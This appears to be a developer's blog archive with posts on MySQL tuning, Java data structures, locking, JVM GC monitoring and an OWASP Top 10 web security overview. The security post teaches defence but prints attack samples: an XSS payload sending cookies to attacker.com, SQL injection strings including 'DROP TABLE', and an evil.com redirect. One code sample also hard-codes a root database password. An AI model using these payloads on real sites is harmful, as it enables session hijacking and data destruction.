Tuesday, May 23, 2017

MySql configuration for Production Environment

Mysql Configurations for High Volumn of Txns:

Developers knows how to tune Mysql during run time. However some require restart, some not.
The most used commands are (total around 500), samples are given below:

show variables;
show variables like '%tx_isolation%';

mysql> show variables like '%connections%';
+----------------------+-------+
| Variable_name        | Value |
+----------------------+-------+
| max_connections      | 151   |
| max_user_connections | 0     |
+----------------------+-------+
2 rows in set (0.00 sec)

mysql> set global max_connections=200;
Query OK, 0 rows affected (0.00 sec)

mysql> show variables like '%connections%';
+----------------------+-------+
| Variable_name        | Value |
+----------------------+-------+
| max_connections      | 200   |
| max_user_connections | 0     |
+----------------------+-------+
2 rows in set (0.00 sec)


1) SET GLOBAL
2) innodb_buffer_pool_size: This is the first setting to look for InnoDB. The buffer pool is where data and indexes are cached.
    Making it large as much possible will ensure you use memory and not disks for most read operations. 
    Typical values are 5-6GB (8GB RAM), 20-25GB (32GB RAM).
3) innodb_log_file_size: Size of the redo logs. The redo logs are used to make sure writes are fast and durable and also 
    during crash recovery. Make it 1 Gb for better use. These are two files. innodb_log_file_size = 512M (giving 1GB of redo logs).
4) max_connections: If you are often facing the ‘Too many connections’ error, max_connections is too low. Using a connection pool 
    at the application level or a thread pool at the MySQL level can help here.
    
5) innodb_file_per_table: This setting will tell InnoDB if it should store data and indexes in the shared tablespace 
    (innodb_file_per_table = OFF). Or store in a separate .ibd file for each table (innodb_file_per_table= ON). Having a file per table 
    allows you to reclaim space when dropping, truncating or rebuilding a table. It is also needed for some advanced features such as 
    compression. However it does not provide any performance benefit.    

6) innodb_flush_log_at_trx_commit: the default setting of 1 means that InnoDB is fully ACID compliant. It is the best value when your 
    primary concern is data safety.
7) query_cache_size: The query cache is a well known bottleneck that can be seen even when concurrency is moderate. The best option is 
    to disable it from day 1 by setting query_cache_size = 0 (now the default on MySQL 5.6).
8) For Enabling Logs in Mysql:

    set global general_log=1;
    show variables like '%SQL_LOG%';       //SQL_LOG_OFF should be ON
    set global general_log=ON;             //1 or ON both are same
    show variables like 'GENERAL_LOG%';    //GENERAL_LOG should be ON
    show variables like '%long_query_time%';  
    set @@GLOBAL.long_query_time=1;
    show global variables like '%long_query_time%';
    show session variables like '%long_query_time%';  //Will show the older value. 
                        //Exit Mysql and Re-login and fire the same query.
                        
9) Make sure the database tables are using InnoDB storage engine and READ-COMMITTED transaction isolation level.
   show variables like '%tx_isolation%';   //REPEATABLE-READ becomes slow for insertion, selection.

10) Increase the database server innodb_lock_wait_timeout variable to 500.

Wednesday, May 17, 2017

Binary Tree in Java

Binary Tree or Binary Search Tree
Trees: Unlike Arrays, Linked Lists, Stack and queues, which are linear data structures, trees are hierarchical 
data structures. Elements with no children are called leaves.

package datastructure.tree;
public class BinaryTreeTest {
    static class Node {
        Node left;
        Node right;
        int data;
        public Node(int d) {
            this.data = d;
        }
    }

    static Node root = null;
    public static void main(String[] args) {
        root = new Node(50); //Making 5 as Root node    

        BinaryTreeTest object = new BinaryTreeTest();
        object.startFunctions();
        System.out.println("Total Node Count: "+object.countNodes(root));
        System.out.println("Search Node 60: "+object.search(root, 60));
    }

    public void startFunctions() {        
        System.out.println("Building tree with root value " + root.data);
        insert(root, 30);
        insert(root, 20);
        insert(root, 40);
        insert(root, 70);
        insert(root, 60);
        insert(root, 80);
        System.out.println("Traversing Tree InOrder");
        printInOrder(root);        
        System.out.println("Traversing Tree PreOrder");
        printPreOrder(root);        
        System.out.println("Traversing Tree PostOrder");
        printPostOrder(root);
    }

    public void insert(Node node, int value) {
        if(value<node.data) { //To go to left side
            if(node.left == null) {
                node.left = new Node(value);
                System.out.println("  Inserted " + value + " to left of " + node.data);
            }
            else {
                insert(node.left, value);
            }
        } 
        else if(value>node.data) { //To go to right side
            if(node.right == null) {
                node.right = new Node(value);
                System.out.println("  Inserted " + value + " to right of "+ node.data);
            } else {
                insert(node.right, value);
            }
        }
    }
    public void printInOrder(Node node) {
        if(node != null) {
            printInOrder(node.left);
            System.out.println("  InOrder Traversed " + node.data);
            printInOrder(node.right);
        }
    }
    public void printPreOrder(Node node) {
        if(node != null) {
            System.out.println("  PreOrder Traversed " + node.data);
            printPreOrder(node.left);
            printPreOrder(node.right);
        }
    }
    public void printPostOrder(Node node) {
        if(node != null) {
            printPostOrder(node.left);
            printPostOrder(node.right);
            System.out.println("  PostOrder Traversed " + node.data);
        }
    }
    private int countNodes(Node r) {
        if(r == null)
            return 0;
        else {
            int count = 1;
            count += countNodes(r.left);
            count += countNodes(r.right);
            return count;
        }
    }
    private boolean search(Node r, int val) {
        if(r.data == val)
            return true;
        if(r.left != null){
            if(search(r.left, val))
                return true;
        }
        if(r.right != null){
            if(search(r.right, val))
                return true;
        }
        return false;         
    }

    boolean identicalTrees(Node root1, Node root2) {        
        if(root1 == null && root2 == null)
            return true;

        if(root1 != null && root2 != null) 
            return (
                    root1.data == root2.data && 
                    identicalTrees(root1.left, root2.left) && 
                    identicalTrees(root1.right, root2.right)
                 );        
        return false;
    }
}

//Output
Building tree with root value 50
  Inserted 30 to left of 50
  Inserted 20 to left of 30
  Inserted 40 to right of 30
  Inserted 70 to right of 50
  Inserted 60 to left of 70
  Inserted 80 to right of 70

Traversing Tree InOrder
  InOrder Traversed 20
  InOrder Traversed 30
  InOrder Traversed 40
  InOrder Traversed 50
  InOrder Traversed 60
  InOrder Traversed 70
  InOrder Traversed 80

Traversing Tree PreOrder
  PreOrder Traversed 50
  PreOrder Traversed 30
  PreOrder Traversed 20
  PreOrder Traversed 40
  PreOrder Traversed 70
  PreOrder Traversed 60
  PreOrder Traversed 80

Traversing Tree PostOrder
  PostOrder Traversed 20
  PostOrder Traversed 40
  PostOrder Traversed 30
  PostOrder Traversed 60
  PostOrder Traversed 80
  PostOrder Traversed 70
  PostOrder Traversed 50

Total Node Count: 7
Search Node 60: true


Properties:
1) The maximum number of nodes at level ‘L’ of a binary tree is 2 Power(L-1). Root is always at Level 1. Hence only 1 Node at Root. 
Max Node at Level 3 are 4. Here 20, 40, 60, 80 are at level 3. Here level is number of nodes on path from root to the node (including root and node). 

2) Maximum number of nodes in a binary tree of height ‘h’ is 2h – 1. Here height of a tree is maximum number of nodes on root to leaf path. 
Height of a leaf node is considered as 1.

Full Binary Tree A Binary Tree is full if every node has 0 or 2 children. Above all images are full binary tree.
A degenerate (or pathological) tree: A Tree where every internal node has one child. Such trees are performance-wise same as linked list. 

MySQLTimeoutException: Statement cancelled due to timeout or client request

Dear Reader,
Recently I was facing this error in Production when my application was connecting to DB.

Caused by: com.mysql.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request

I had set Statment.setQueryTimeout(15);  //15 Seconds.
Hence after 15 Seconds, the Application was cancelling the request if the record was not getting inserted in DB.

I tried lot to re-produce this issue as DBA was adamant to accept this as a problem. Finally after lot of R&D I did below.

Complete Error Message:    
Caused by: com.mysql.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request
    at com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:1757)
    at com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:2022)
    at com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:1940)
    at com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:1925)
    at org.apache.commons.dbcp.DelegatingPreparedStatement.executeUpdate(DelegatingPreparedStatement.java:105)
    at org.apache.commons.dbcp.DelegatingPreparedStatement.executeUpdate(DelegatingPreparedStatement.java:105)
    at com.enstage.DEEPAK_KUMAR_MODI_JAVA_API_EguardSummary.saveSummary(EguardSummary.java:412)
    ... 5 more

1st Reproduction of Issue:
        try{
            Class.forName("com.mysql.jdbc.Driver");
            con = DriverManager.getConnection("URL");
            st = con.createStatement();            
            
            //Either Throw the exception Manually
            throw new java.lang.Exception(new com.mysql.jdbc.exceptions.MySQLTimeoutException());
        }
        catch (Exception e) {
            e.printStackTrace();
            try {
                con.close();
                st.close();
            } catch (SQLException e1) {
                e1.printStackTrace();
            }
        }
        finally{
            System.out.println("Finally");
        }

//Output
java.lang.Exception: com.mysql.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request
    at MySqlTester.main(MySqlTester.java:32)
Caused by: com.mysql.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request
    ... 1 more
Finally



2nd Reproduction of Issue:
Use "SELECT SLEEP(10)"
See below entire program:

//MySqlTester.java
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
/*@author Deepak Kumar Modi
*/
public class MySqlTester {
    public static void main(String[] args) {
        Connection con = null;
        Statement st = null;
        ResultSet rs = null;
        //SELECT * FROM ACTOR
        try{
            Class.forName("com.mysql.jdbc.Driver");
            con = DriverManager.getConnection("jdbc:mysql://X.X.1.54:3306/deepak_modi?user=root&password=deepakmodi");
            st = con.createStatement();
            System.out.println("Start Date: "+new java.util.Date());
            st.setQueryTimeout(2);    //Max wait is set for 2 Seconds            
            rs = st.executeQuery("SELECT SLEEP(10)");  //DB will wait for 10 Seconds
            int count=0;
            while(rs.next()) {                
                System.out.print("ID: " + rs.getString("actor_id"));
                System.out.print(", FN: " + rs.getString("first_name"));
                System.out.print(", LN: " + rs.getString("last_name"));
                System.out.println();
                count++;
                if(count==5)
                    break;                 
            }
            //Either Throw the exception Manually
            //throw new java.lang.Exception(new com.mysql.jdbc.exceptions.MySQLTimeoutException());
        }
        catch (Exception e) {
            System.out.println("End Date: "+new java.util.Date());
            e.printStackTrace();
            try {
                con.close();
                st.close();
            } catch (SQLException e1) {
                e1.printStackTrace();
            }
        }
        finally{
            System.out.println("Finally");
        }
    }
}

//Output (See the exception is thrown just after 2 seconds. Application cancelled the request.)
Start Date: Wed May 17 14:34:11 IST 2017
End Date:   Wed May 17 14:34:13 IST 2017 
com.mysql.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request
Finally
    at com.mysql.jdbc.StatementImpl.executeQuery(StatementImpl.java:1622)
    at MySqlTester.main(MySqlTester.java:19)

    
Fix of this issue: Get HOLD of DBA. or Modify Mysql Configuration.    

Friday, May 5, 2017

Lock and ReentrantLock in Java Example

package concurrency;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;

public class LockCounter {
    private Lock lock = new ReentrantLock();
    private static int count = 0;

    public int increment(){
        lock.lock();  //Comment this Line to see abnormal multithreading behavior
        count++;
        System.out.println("In: "+count);
        lock.unlock();  //Comment this Line to see abnormal multithreading behavior
        return count;
    }
    public int decrement(){
        lock.lock();  //Comment this Line to see abnormal multithreading behavior
        count--;
        System.out.println("De: "+count);
        lock.unlock();  //Comment this Line to see abnormal multithreading behavior
        return count;
    }
    public static void main(String[] args){
        new Thread(new Runnable(){public void run(){
            LockCounter obj = new LockCounter();
            while(true){
                obj.increment();
                try {
                    Thread.sleep(1000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
            }}).start();
        new Thread(new Runnable(){public void run(){
            LockCounter obj = new LockCounter();
            while(true){
                obj.decrement();
                try {
                    Thread.sleep(1000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
            }}).start();
    }
}

//Output: We have disabled Lock API. lock() and unlock() were commented here.
In: 1
De: 0
In: 1
De: 1
De: 1
In: 1
De: 1
In: 1
De: 1
In: 1
In: 0
De: 0
In: 0
De: 0
De: 0
In: 0
In: 0
De: 0
In: 0
De: 0
De: 0
In: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
De: -1
In: 0
De: -1
In: 0
In: 1
De: 0
De: 0
In: 0
In: 1
De: 1
De: 1
In: 1
In: 1
De: 1

//After Implementing Lock and ReentrantLock API
//Output: We have ENABLED Lock API. lock() and unlock() were UN-Commented here.
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0
In: 1
De: 0

Sensitive Password Entry in Console using Java

Dear Reader,
When you need an application where some Password is required to start the application and that need 
to be entered in Console (Unix OS/Windows OS) manually Eg: Starting Master HSM server for Card Encryption/Decryption, 
Starting Unix based critical applications, you don't want to show either * or text while typing password. This may 
cause a shoulder surfing.

In Java you can do this using Below API, I have tested this Windows and UNIX. Running this in Eclipse will throw Exception.
Hence Run in Command Prompt.

import java.io.Console;
public class HSMPassword {
    public static void main(String[] args) {
        char[] pass ;
        Console console = System.console();
        System.out.println("Reading Password From Console, Please Press Enter after typing your password.");
        pass = console.readPassword("");
        String slotPIN = new String(pass);
        System.out.println("Password Entered is: "+slotPIN);
    }
}
--------------Starting in Console--------------------
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
E:\MyDiary>javac HSMPassword.java
E:\MyDiary>java HSMPassword
Reading Password From Console, Please Press Enter after typing your password.

Password Entered is: deepak

E:\MyDiary>java HSMPassword
Reading Password From Console, Please Press Enter after typing your password.

Password Entered is: hello
E:\MyDiary>

Wednesday, April 26, 2017

Stack Data Structure Using Array in Java

//Stack DataStructure Using Array
package stack;
public class MyStack {
    private int maxSize;
    private long[] stackArray;
    private int top;

    public MyStack(int s) {
        maxSize = s;
        stackArray = new long[maxSize];
        top = -1;
    }
    public void push(long j) {
        if(isFull()) {
            System.out.println("Stack is Full");
        } else {
            top++;
            stackArray[top] = j;
        }
    }
    public long pop() {
        if(top < 0) {
            System.out.println("Stack Underflow");
            return 0;
        }else{
            long item = stackArray[top];
            top--;
            return item;
        }
    }
    public long peek() {
        return stackArray[top];
    }
    public boolean isEmpty() {
        return (top == -1);
    }
    public boolean isFull() {
        return (top == maxSize-1);
    }

    public static void main(String[] args) {
        MyStack theStack = new MyStack(10); 
        theStack.push(10);
        theStack.push(20);
        theStack.push(30);
        theStack.push(40);
        theStack.push(50);

        while (!theStack.isEmpty()) {
            long value = theStack.pop();
            System.out.println("Values are: "+value);            
        }
        System.out.println("Is Empty Now: "+theStack.isEmpty());  //true
    }
}

//Output
Values are: 50
Values are: 40
Values are: 30
Values are: 20
Values are: 10
Is Empty Now: true

Monday, March 27, 2017

jstat : Java GC Statistics Details

Dear Reader,
Today we will discuss about "jstat". This is Java Virtual Machine Statistics Monitoring Tool.
I use this for watching live GC activity during post Production Deployment specifically if our new build contains 
some JVM tuning or we deploy some thread related fix. You might be using visualvm, jstack, jmap utilities for JVM 
analysis, verbose-gc files for GC. However if your JVM supports, jstat is best tool for watching live GC activities of a Java Process.

The jstat tool displays performance statistics for an instrumented HotSpot Java virtual machine (JVM). 
The below Headers will be displayed in Console report, hence Abbrev are given as below:

Summary of Garbage Collection Statistics:
Column        Description
S0            Survivor space 0 utilization as a percentage of the space's current capacity.
S1            Survivor space 1 utilization as a percentage of the space's current capacity.
E            Eden space utilization as a percentage of the space's current capacity.
O            Old space utilization as a percentage of the space's current capacity.
P            Permanent space utilization as a percentage of the space's current capacity.
YGC            Number of young generation GC events.
YGCT        Young generation garbage collection time.
FGC            Number of full GC events.
FGCT        Full garbage collection time.
GCT            Total garbage collection time.

Complete Details:

E:\Tools>jstat -gcutil 8792 3000    (Java Process Id is 8792, 3000 is Milliseconds interval.)
  S0     S1     E      O      P     YGC     YGCT    FGC    FGCT     GCT  
 99.88   0.00  83.94   0.92  92.06      2    0.061     0    0.000    0.061
 99.88   0.00  83.94   0.92  92.06      2    0.061     0    0.000    0.061
  0.00  99.95   8.73   2.03  99.04      3    0.071     0    0.000    0.071
  0.00  99.95  26.33   2.03  99.51      3    0.071     0    0.000    0.071
 99.86   0.00   3.74  10.45  98.34      4    0.089     0    0.000    0.089
 99.86   0.00  45.33  10.45  98.94      4    0.089     0    0.000    0.089
 99.86   0.00  75.27  10.45  99.43      4    0.089     0    0.000    0.089
  0.00  99.86  15.00  12.74  98.18      5    0.100     0    0.000    0.100
  0.00  99.86  57.14  12.74  98.28      5    0.100     0    0.000    0.100
  0.00  99.86  94.67  12.74  98.41      5    0.100     0    0.000    0.100
 97.80   0.00  26.22  12.74  98.50      6    0.109     0    0.000    0.109
 97.80   0.00  60.60  12.74  98.61      6    0.109     0    0.000    0.109
 97.80   0.00  94.61  12.74  98.72      6    0.109     0    0.000    0.109
  0.00  96.29  37.34  14.30  98.77      7    0.123     0    0.000    0.123
  0.00  96.29  66.33  14.30  98.87      7    0.123     0    0.000    0.123
 61.50   0.00   4.67  17.04  98.92      8    0.137     0    0.000    0.137
 61.50   0.00  42.56  17.04  98.99      8    0.137     0    0.000    0.137
 61.50   0.00  80.11  17.04  99.03      8    0.137     0    0.000    0.137
  0.00  95.05   7.00  19.42  99.07      9    0.153     0    0.000    0.153
  0.00  95.05  45.77  19.42  99.11      9    0.153     0    0.000    0.153
  0.00  95.05  87.16  19.42  99.21      9    0.153     0    0.000    0.153
 20.67   0.00  23.91  20.96  99.34     10    0.162     0    0.000    0.162
 20.67   0.00  55.89  20.96  99.41     10    0.162     0    0.000    0.162
 20.67   0.00  89.74  20.96  99.51     10    0.162     0    0.000    0.162
 .....This will keep printing.....
 
If you have issue regarding ProcessId, use below command to know Processes Running:
jps -l -m -v 


 If you want only limited number of records to see, use below command:
 E:\Tools>jstat -gcutil 8792 1000 6     (8792:ProcessId, 1000:1 Second interval, 6:Only 6 Rows to display and then exit.)
 E:\Tools>jstat -gcutil -h4 8792 1000 100   (-h4: Will reprint Header S0, S1, E etc after every 4 Lines. Total 100 Lines here.)
 
Other type of argument is: "gc": Statistics of the behavior of the garbage collected heap.
-gc:  Garbage-collected heap statistics

Column        Description
S0C        Current survivor space 0 capacity (KB).
S1C        Current survivor space 1 capacity (KB).
S0U        Survivor space 0 utilization (KB).
S1U        Survivor space 1 utilization (KB).
EC        Current eden space capacity (KB).
EU        Eden space utilization (KB).
OC        Current old space capacity (KB).
OU        Old space utilization (KB).
PC        Current permanent space capacity (KB).
PU        Permanent space utilization (KB).
YGC        Number of young generation GC Events.
YGCT    Young generation garbage collection time.
FGC        Number of full GC events.
FGCT    Full garbage collection time.
GCT        Total garbage collection time.
 
E:\Tools>jstat -gc 8792 5000 20
 S0C    S1C    S0U    S1U      EC       EU        OC         OU       PC     PU    YGC     YGCT    FGC    FGCT     GCT
5120.0 5120.0  0.0   4129.1 77312.0  44305.7   175104.0   68584.6   49664.0 24834.0    105    1.065   1      0.096    1.161
5120.0 5120.0  0.0   4129.1 77312.0  46390.8   175104.0   68584.6   49664.0 24834.0    105    1.065   1      0.096    1.161
5120.0 5120.0  0.0   4129.1 77312.0  52546.8   175104.0   68584.6   49664.0 24834.0    105    1.065   1      0.096    1.161
5120.0 5120.0 5116.1  0.0   77312.0   210.1    175104.0   69184.6   49664.0 24834.4    106    1.078   1      0.096    1.174
5120.0 5120.0 5116.1  0.0   77312.0  36339.2   175104.0   69184.6   49664.0 24834.4    106    1.078   1      0.096    1.174
5120.0 5120.0 5116.1  0.0   77312.0  74165.2   175104.0   69184.6   49664.0 24834.4    106    1.078   1      0.096    1.174
5120.0 5120.0  0.0   4000.0 77312.0  27741.9   175104.0   71402.5   49664.0 24834.4    107    1.086   1      0.096    1.182
5120.0 5120.0  0.0   4000.0 77312.0  60018.1   175104.0   71402.5   49664.0 24834.4    107    1.086   1      0.096    1.182
5120.0 5120.0 3904.0  0.0   77312.0  16572.7   175104.0   73227.0   49664.0 24834.4    108    1.097   1      0.096    1.193
5120.0 5120.0 3904.0  0.0   77312.0  53046.6   175104.0   73227.0   49664.0 24834.5    108    1.097   1      0.096    1.193
5120.0 5120.0  0.0   3713.1 77312.0   8212.0   175104.0   74979.1   49664.0 24834.5    109    1.105   1      0.096    1.201
5120.0 5120.0  0.0   3713.1 77312.0  43119.1   175104.0   74979.1   49664.0 24834.5    109    1.105   1      0.096    1.201
5120.0 5120.0 4352.0  0.0   77312.0   1189.1   175104.0   76731.5   49664.0 24834.5    110    1.110   1      0.096    1.206
5120.0 5120.0 4352.0  0.0   77312.0  36556.2   175104.0   76731.5   49664.0 24834.5    110    1.110   1      0.096    1.206
5120.0 5120.0 4352.0  0.0   77312.0  68395.2   175104.0   76731.5   49664.0 24834.5    110    1.110   1      0.096    1.206
5120.0 5120.0  0.0   4353.1 77312.0  27265.7   175104.0   78299.5   49664.0 24834.5    111    1.117   1      0.096    1.213

More Details: http://docs.oracle.com/javase/7/docs/technotes/tools/share/jstat.html
--------------------------------------END------------------------------------------ 

Thursday, March 16, 2017

Security and Vulnerability for Web Applications

What are Securities in a Product:
    Web Application Security,
    Network Security, 
    Infrastructure Security, 
    Database Security, and
    Operational Security.
    
What are Vulnerabilities: Unchecked input while processing at Server Side, which results malicious changes in Web App.

Why Security and Vulnerability Need to be addressed: 
    For PCI-DSS Compliance 
    Securing Applications from Hackers
    Saving Innocent Consumers
    
Agenda: What is Web Application Security?
Web Application Security: Deals specifically with security of websites and web applications. A majority of the attacks against 
Web servers are through network firewalls and through the http(80) or https(443) ports. Some of the most commonly used hacking
techniques include Denial of service, Leakage, Cross-site scripting, SQL injection. DENIAL OF SERVICE: Attacks causes Excessive 
CPU Consumption, Excessive Disk I/O Consumption and Excessive Network I/O Consumption, causes service not available to real users.
    
An attacker has two goals for this:
    1) Inject malicious data into Web App.
    2) Manipulate Web App using malicious data.

1) Inject malicious data into Web App.
Parameter Tampering
URL Manipulation
Hidden Field Manipulation
HTTP Header Tampering
Cookie Poisoning

2) Manipulate Web App using malicious data.
SQL Injection
Cross-Site Scripting
HTTP Response Splitting
Path Traversal
Command Injection


OWASP: Open Web Application Security Project
It is an Online community which creates freely-available articles, methodologies, tools and technologies in the 
field of web application security. OWASP was started on September 9, 2001.

OWASP came with Top 10 types of regular critical issues which was first published in 2003 and is regularly updated.
OWASP Site list out the issue and their solutions too in their respective Testing Guide, which can be checked.
OWASP is the de facto standard for designing and testing secure web applications.


Other guidelines are:
    Threat Modeling processes such as STRIDE and DREAD
    OWASP’s Software Assurance Maturity Model (OpenSAMM)
    Open Security Testing Methodology Manual (OSTMM)
    Web Application Security Consortium (WASC) guidelines

Testing of Web Application before build release to Production is called Vulnerability Assessment and Penetration Testing (VAPT).
Which company does this security testing: Paladion, Veracode, Netragard, IBM Rational.


OWASP Top 10 Issues:
A1- Injection: SQL, OS, LDAP Injection as part of a command or Query.
A2- Broken Authentication and Session Management: Attackers hijack sessions, get hold of session tokens and Passwords 
    if these are not implemented correctly in web applications. 
    Ex: Airline reservations application supports URL rewriting, putting session IDs in the URL:
    http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
    An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without 
    knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.
    http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
    
    Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” 
    the user simply closes the browser tab and walks away. Attacker uses the same browser Few Minutes Later, and that browser 
    is still authenticated.
    
A3- Cross Site Script (XSS): XSS allows attackers to execute Java Scripts in the victim's browser which can hijack 
    user sessions, deface web sites or redirect the user to malicious sites.
    
    http://www.example.com/saveComment?comment=Great+Site!
    Server Reply:
        <h3> Thank you for your comments! </h3>
        You wrote:
        <p/>
        Great Site!
        <p/>
    
    http://wwww.example.com/saveComment?comment=<script>alert('xss');</script>
    Server Reply: 
        <h3>Thank you for your comments!</h3>
        You wrote:
        <p/>
        <script>alert('xss');</script>
        <p/>
    
    The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
    (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
    The attacker modifies the 'CC' parameter in their browser to:
    '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

    This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
    Solution: Replace "<", "Script" kind of words/characters with html encoded entities.
    
A4- Insecure Direct Object References: This occurs when a developer exposes a reference to an internal implementation 
    object such as file, directory, database username/password without an access control check.
    String query = "SELECT * FROM accts WHERE account = ?";
    PreparedStatement pstmt = connection.prepareStatement(query , … );
    pstmt.setString( 1, request.getParameter("acct"));
    ResultSet results = pstmt.executeQuery( );
    http://example.com/app/accountInfo?acct=notmyacct  (Modified by hacker).

A5- Security Misconfiguration: Security settings must be defined in prod environment. Default Security Settings are 
    often insecure. Softwares too must be kept upto date with all security patch installation.

A6- Sensitive Data Exposure: CreditCards, DOB, Authentication Credentials, CVV2. Attackers may steal or modify such 
    weekly protected data to conduct Credit Card Fraud, Identity Theft. These data must be encrypted and kept.    

A7- Missing Function Level Access Control (Private, Public visibility of URLs and Patterns.) In our case, only "/csr"
    link is visible from CSR from public IP. 
    http://example.com/app/getappInfo  
    http://example.com/app/admin_getappInfo   (admin has logged in, next time hacker simply will use this URL.)
    If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed 
    to access the admin_getappInfo page, this is also a flaw.
    
A8- Cross Site Request Forgery (CSRF): Attacker sends a forged HTTP Request page, including session cookie and any other 
    authentication information and get the job done. It is also known as a one-click attack or session riding and abbreviated 
    as CSRF or XSRF.

A9- Using Components with Known Vulnerabilities: Libraries, Frameworks, other software components with knows vulnerabilites 
    are prone to attack. These causes serious data loss or server takeover. Should read the third party components issues and loopholes.
    
A10-Unvalidated Redirects and Forwards: Attackers can redirect Victims to phishing or malware sites or use forwards to 
    access unauthorized pages. Ex: The application has a page called “redirect.jsp” which takes a single parameter named “url”. 
    The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.
    http://www.example.com/redirect.jsp?url=evil.com


    
1) Inject malicious data into Web App.
Parameter Tampering: Parameter Pollution Attack
    http://localhost:9090/MyDiaryWeb/sum?n1=45&n1=4&n2=50
    
URL Manipulation:     
        Original: http://www.mybank.com/myaccount?accountnumber=11111&debit_amount=100
        Modified: http://www.mybank.com/myaccount?accountnumber=11111&debit_amount=-5000  (Increase the account balance)

Hidden Field Manipulation: 
    Set hidden fields of HTML forms in Web pages to malicious values. Because HTTP is stateless, many Web applications use 
    hidden fields to emulate persistence. Hidden fields are just form fields made invisible to the end-user. 
    For example, consider an order form that includes a hidden field to store the price of items in the shopping cart:
    <input type="hidden" name="total_price" value="25.00">    
    A typical Web site using multiple forms, such as an online store will likely rely on hidden fields to transfer state 
    information between pages. Unlike regular fields, hidden fields cannot be modified directly by typing values into an 
    HTML form. However saving the HTML page, editing the hidden field value, and reloading the page will cause the Web 
    application to receive the newly updated value of the hidden field.
    
HTTP Header Tampering: Manipulate parts of HTTP Header Requests sent to the application.

Cookie Poisoning: Place malicious data in cookies, small files sent to Web-based applications.
    Many Web applications use cookies to store information such as user login/password pairs and user identifiers. 
    This information is often created and stored on the user's computer after the initial interaction with the Web application, 
    such as visiting the application login page. Cookie poisoning is a variation of header manipulation: malicious input can be 
    passed into applications through values stored within cookies. Because cookies are supposedly invisible to the user, cookie 
    poisoning is often more dangerous in practice than other forms of parameter or header manipulation attacks.

2) Manipulate Web App using malicious data.
SQL Injection: Pass input containing SQL commands to a database server for execution.
Cross-Site Scripting: exploit applications that output unchecked input and trick the user into executing malicious scripts.
HTTP Response Splitting: 
Path traversal: exploit unchecked user input to control which files are accessed on the server.
Command Injection: exploit user input to execute shell commands.
Password-Guessing attack: Brute Force Attacks with different combination of Letters, Numbers and Symbols, till it cracks.


Other Security issues:
1) Broken Link: A broken link refers to any link that should take you to a document, image or webpage, that actually results 
    in an error. This page was linked from the website but it is inaccessible.

2) Cookies must be set with "HTTPOnly" flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the 
    cookie can only be accessed by the server and not by client-side scripts. This is an important security protection 
    for session cookies. HTTPOnly limits the ability of JavaScript and other client-side scripts to access cookie data. 
    This cookie attribute will prevent JavaScript from reading or writing to HTMLOnly labeled cookies, preventing some forms 
    of cross-site scripting. 
    response.setHeader("SET-COOKIE", "JSESSIONID=" + session.getId() + "; Path=/csr; HttpOnly; Secure");    
    
3) Clickjacking is a malicious technique of tricking a Web user into clicking on something different from what the user perceives 
    they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking 
    on seemingly innocuous (not injurious) web pages. Solution is the server should return an X-Frame-Options header which means 
    that their content is not embedded into other sites. Sites can use this to avoid clickjacking attacks. 
    response.setHeader( "X-FRAME-OPTIONS", "DENY" );
    
4) HTTP OPTIONS method should be Disabled on the web server. The OPTIONS method provides a list of the methods that are supported 
    by the web server, it represents a request for information about the communication options available on the request/response chain.    
    This will enable more advanced attacks by hackers. Solution is Config change in web.xml (below config will disable all methods
    except HEAD and GET):
     <security-constraint>
        <web-resource-collection>
            <web-resource-name><strong>restricted methods</strong></web-resource-name>
            <url-pattern>/*</url-pattern>
            <http-method>PUT</http-method>
            <http-method>POST</http-method>
            <http-method>DELETE</http-method>
            <http-method>OPTIONS</http-method>
            <http-method>TRACE</http-method>
        </web-resource-collection>
        <auth-constraint />
    </security-constraint>

5) Restrict access to the Web Server (JBOSS) Web Service Console, Management Console, Index pages apart from Web App.    

Solutions:
SQL Injection: Use PreparedStatement, get the values and use setInt, setString, setDate kind of APIs.
    String sql = "SELECT * FROM ACCOUNTS where ACC_ID='"+accId+"'";
    
    //http://localhost:9090/MyDiaryWeb/account?accId=1000' OR '1'='1
    //SELECT * FROM ACCOUNTS WHERE ACC_ID = '   1000' or '1'='1   ';
    
    //http://localhost:9090/MyDiaryWeb/account?accId=1000'; DROP TABLE Suppliers;
    //SELECT * FROM ACCOUNTS WHERE ACC_ID = '1000'; DROP TABLE Suppliers;
Parameter/Field Manipulation: Use Request, Session Tokens and Change on every Click in CSR.
Code Review.
